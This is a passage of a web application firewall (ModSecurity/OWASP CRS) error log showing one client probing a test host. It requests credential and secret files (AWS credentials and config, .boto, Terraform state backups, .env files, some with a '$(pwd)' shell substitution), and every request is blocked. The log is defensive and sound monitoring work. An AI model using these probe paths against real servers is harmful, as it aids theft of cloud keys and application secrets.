&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36wAAAAY&quot;]
[Sun Mar 01 20:25:35.269072 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36wAAAAY&quot;]
[Sun Mar 01 20:25:35.269216 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI36wAAAAY&quot;]
[Sun Mar 01 20:25:35.291638 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /root/.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37AAAAAY&quot;]
[Sun Mar 01 20:25:35.291876 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37AAAAAY&quot;]
[Sun Mar 01 20:25:35.292034 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.boto&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37AAAAAY&quot;]
[Sun Mar 01 20:25:35.360312 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37wAAAAY&quot;]
[Sun Mar 01 20:25:35.360793 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37wAAAAY&quot;]
[Sun Mar 01 20:25:35.360940 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/boto.cfg&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI37wAAAAY&quot;]
[Sun Mar 01 20:25:35.428631 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI38gAAAAY&quot;]
[Sun Mar 01 20:25:35.429160 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI38gAAAAY&quot;]
[Sun Mar 01 20:25:35.429330 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI38gAAAAY&quot;]
[Sun Mar 01 20:25:35.748962 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /~/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AAAAAAY&quot;]
[Sun Mar 01 20:25:35.749191 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AAAAAAY&quot;]
[Sun Mar 01 20:25:35.749369 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/credentials&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AAAAAAY&quot;]
[Sun Mar 01 20:25:35.771590 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /~/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AQAAAAY&quot;]
[Sun Mar 01 20:25:35.771805 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AQAAAAY&quot;]
[Sun Mar 01 20:25:35.771950 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.aws/config&quot;] [unique_id &quot;aaSSr-WvNlascZsmhrI4AQAAAAY&quot;]
[Sun Mar 01 20:25:35.842748 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /~/.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;aaSSr5IifMrob6GYX-HS-AAAAAI&quot;]
[Sun Mar 01 20:25:35.843049 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;aaSSr5IifMrob6GYX-HS-AAAAAI&quot;]
[Sun Mar 01 20:25:35.843221 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.boto&quot;] [unique_id &quot;aaSSr5IifMrob6GYX-HS-AAAAAI&quot;]
[Sun Mar 01 20:25:36.072232 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAgAAAAI&quot;]
[Sun Mar 01 20:25:36.072483 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAgAAAAI&quot;]
[Sun Mar 01 20:25:36.072651 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAgAAAAI&quot;]
[Sun Mar 01 20:25:36.095046 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAwAAAAI&quot;]
[Sun Mar 01 20:25:36.095313 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAwAAAAI&quot;]
[Sun Mar 01 20:25:36.095481 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTAwAAAAI&quot;]
[Sun Mar 01 20:25:36.117932 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBAAAAAI&quot;]
[Sun Mar 01 20:25:36.118200 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBAAAAAI&quot;]
[Sun Mar 01 20:25:36.118392 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBAAAAAI&quot;]
[Sun Mar 01 20:25:36.140813 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBQAAAAI&quot;]
[Sun Mar 01 20:25:36.141080 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBQAAAAI&quot;]
[Sun Mar 01 20:25:36.141260 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBQAAAAI&quot;]
